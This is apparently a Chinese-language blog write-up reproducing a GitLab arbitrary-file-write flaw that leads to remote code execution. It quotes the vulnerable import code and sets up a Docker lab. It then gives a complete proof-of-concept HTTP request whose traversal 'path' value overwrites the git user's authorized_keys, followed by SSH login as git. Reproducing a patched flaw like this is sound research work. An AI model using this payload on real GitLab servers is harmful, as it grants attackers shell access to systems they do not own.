Gitlab远程代码执行漏洞

0x00前言

近期Hackerone公开了Gitlab的任意文件写入，导致远程代码执行漏洞，实践一波。
ps:漏洞利用前提：需要有gitlab账户，拥有import project的权限
温馨提示:利用成功后会覆盖掉原git用户的authorized_keys，在实际生产环境请谨慎尝试，后果自负！

0x01漏洞描述

app/services/projects/gitlab_project_import_service.rb

# This service is an adapter used to for the GitLab Import feature, and
# creating a project from a template.
# The latter will under the hood just import an archive supplied by GitLab.
module Projects
  class GitlabProjectsImportService
    # ...

    def execute
      FileUtils.mkdir_p(File.dirname(import_upload_path))
      FileUtils.copy_entry(file.path, import_upload_path)

      Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
                                               current_user,
                                               import_upload_path,
                                               params[:path]).execute
    end

    # ...

    def tmp_filename
      "#{SecureRandom.hex}_#{params[:path]}"
    end
  end
end

import_upload_path将未过滤的参数params[:path]添加到gitlab上传目录，导致存在目录遍历，此外由于文件内容没有限制，最终导致任意内容写入任意文件。由于默认gitlab创建并启动了git账户，该账户默认目录为/var/opt/gitlab/，修改.ssh/authorized_keys文件为攻击者的公钥，即可以git用户身份成功登录服务器，从而导致命令执行。

影响版本：

0x02漏洞利用复现

1. 环境搭建

利用docker搭建gitlab

docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22  gitlab/gitlab-ce:10.2.4-ce.0

修改配置文件

docker exec -it gitlab /bin/bash
nano /etc/gitlab/gitlab.rb

# 去掉gitlab的注释并修改对应ip
external_url '192.168.1.100'
#重新载入配置文件
gitlab-ctl reconfigure
# 访问对应ip，第一次需要设置密码，并新建用户
http://192.168.1.100/

攻击者本地利用ssh-keygen生成公私钥对（用于攻击替换和登录）

2. POC及利用

  1. 登录gitlab->创建项目->Import project->GitLab Import->选择文件
    url为：ip+/import/gitlab_project/new?namespace_id=2&path=

  2. 然后选择前面ssh-keygen生成的公钥（注意是公钥）

  3. 点击import project 后，burp修改path的值为ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys

数据包如下

POST /import/gitlab_project HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20787582420424
Content-Length: 1214
Referer: http://192.168.1.100/import/gitlab_project/new?namespace_id=2&path=
Cookie: _gitlab_session=9c5f21dbfe98d90b1d992e1c9907584c; sidebar_collapsed=false
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------20787582420424
Content-Disposition: form-data; name="utf8"

✓
-----------------------------20787582420424
Content-Disposition: form-data; name="authenticity_token"

JoWtToPxTJL6RVASaprnR1hRqEGARnbLkA06favQLxQ7Y7YtyqfE9+JsbV/NAwy7XAdTuzgRsxJ/Kl1hH9V6xA==
-----------------------------20787582420424
Content-Disposition: form-data; name="namespace_id"

{:value=>2}
-----------------------------20787582420424
Content-Disposition: form-data; name="path"

ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
-----------------------------20787582420424
Content-Disposition: form-data; name="namespace_id"

2
-----------------------------20787582420424
Content-Disposition: form-data; name="file"; filename="id_rsa.pub"
Content-Type: application/vnd.ms-publisher

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+McaRvLdnm+u30cACV4ftHJUESNVNV/VNlwm5xST343cFQODjBua5ffpCgDIejiVhyz9BzMmmynN5tnN6JQlx4SwSGkuR3+wzbJ8XKJNHLpOeZ2Xzw+UA9duDinDQHUklFwDmjH7Pywy6kRurIWXTsdupkLrHobEjSjrwEkqvLUnRi1EA/nU5es+kEz6c04jDUrZoGaj5GiI7VYReX+d9Pm524H9KfBpFIZ27yaWs1lR9b+dXjbXnUdysKdWTQcwy1tv+xhEbwF9m/PQajAEPPl95u/qrGPMqT0l08dC6H9o50i9Yn0Yf3t946g4QjGBs+GZgaNoLda8d5U5S8XLz BF@DESKTOP-4UM7GF4

-----------------------------20787582420424--

4.发送请求后，使用用户名git以及生成的私钥登录gitlab服务器，如下是执行命令的demo

$ id
uid=998(git) gid=998(git) groups=998(git)

0x03复现失败的常见问题解答

(1)请先访问对应ip+/help,查看版本是否属于有漏洞的版本
(2)漏洞原理是：利用任意文件写入，覆盖git用户的ssh登陆authorized_keys。默认git用户目录在/var/opt/gitlab/，如果目标服务器安装gitlab时更改了默认的路径，则需要适当修改path为对应的用户目录。（感谢:泳少）

0x04参考链接

https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released/
https://hackerone.com/reports/298873

源链接

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